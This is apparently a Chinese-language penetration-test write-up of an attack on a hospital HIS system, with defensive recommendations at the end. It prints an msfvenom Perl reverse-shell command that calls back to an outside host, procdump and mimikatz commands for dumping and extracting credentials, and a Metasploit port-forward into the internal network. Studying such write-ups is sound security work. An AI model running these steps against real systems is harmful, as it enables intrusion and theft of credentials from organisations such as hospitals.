记一次对某医院HIS系统的渗透测试
字数 1096 2025-08-18 11:38:52
医院HIS系统渗透测试技术分析报告
1. 信息收集阶段
1.1 目标识别
- 目标IP: 202.194.xx.xxx
- 开放端口: 82
- 运行环境: XAMPP集成环境
- 系统类型: Windows 7 32位系统
1.2 目录扫描发现
- 发现phpmyadmin目录但返回403禁止访问
- 发现down目录包含重要文件:
- his.db (SQLite数据库文件)
- his.tar (系统文件备份)
1.3 系统分析
- 系统采用Perl语言编写
- 数据库类型: SQLite
- 部署环境: Windows 7 + XAMPP
2. 漏洞发现与利用
2.1 未授权文件上传漏洞
- 通过源码搜索发现upload关键字
- 存在未授权文件上传功能且无任何过滤机制
- 初始尝试上传PHP文件失败(未解析)
2.2 Perl命令执行
- 分析下载的源码发现可执行系统命令的Perl脚本:
#!"D:\Strawberry\perl\bin\perl"
# 上传文件的程序,用来单位上统一收集文件。
print "Content-type: text/html\n\n";
$files_print = `whoami`;
print "<pre> $files_print </pre>";
2.3 反向Shell尝试
- 使用msfvenom生成Perl反向Shell:
msfvenom -p cmd/unix/reverse_perl LHOST=144.xxx.xxx.xxx LPORT=2333 -f raw > shell.pl
- 访问后服务器返回500错误
- 最终使用GitHub上的Perl大马成功执行
3. 内网渗透
3.1 权限维持
- 发现系统存在多个防护进程
- 采用procdump+mimikatz组合绕过防护:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
3.2 凭证提取
- 在本地使用mimikatz分析dump文件:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
3.3 远程桌面连接
- 使用MSF进行端口转发:
portfwd add -l 3396 -r 192.168.0.6 -p 3396
- Windows远程连接遇到"由于数据加密错误"问题
- 解决方案: 使用kali的rdesktop命令连接
4. 技术要点总结
4.1 关键漏洞
- 未授权文件上传漏洞
- 命令注入漏洞(通过Perl脚本)
- 弱防护机制(可绕过)
4.2 利用工具链
- 目录扫描工具
- msfvenom (Payload生成)
- procdump (内存dump)
- mimikatz (凭证提取)
- Metasploit (会话维持)
- rdesktop (远程桌面)
4.3 绕过技术
- 通过内存dump绕过防护
- 使用替代工具解决加密错误问题
5. 防御建议
-
文件上传功能加固
- 实施身份验证和授权检查
- 设置文件类型白名单
- 对上传文件进行内容检查
-
系统配置加固
- 升级操作系统(Windows 7已停止支持)
- 禁用不必要的服务和端口
- 实施适当的文件系统权限
-
安全监控
- 部署EDR解决方案检测异常行为
- 监控敏感操作(如lsass.exe访问)
-
代码安全
- 避免在代码中直接执行系统命令
- 对用户输入进行严格过滤
-
网络防护
- 实施网络分段
- 限制出站连接
本报告详细记录了从信息收集到内网渗透的完整过程,重点突出了Perl环境下的漏洞利用方式和Windows系统下的凭证提取技术,为安全研究人员提供了有价值的参考案例。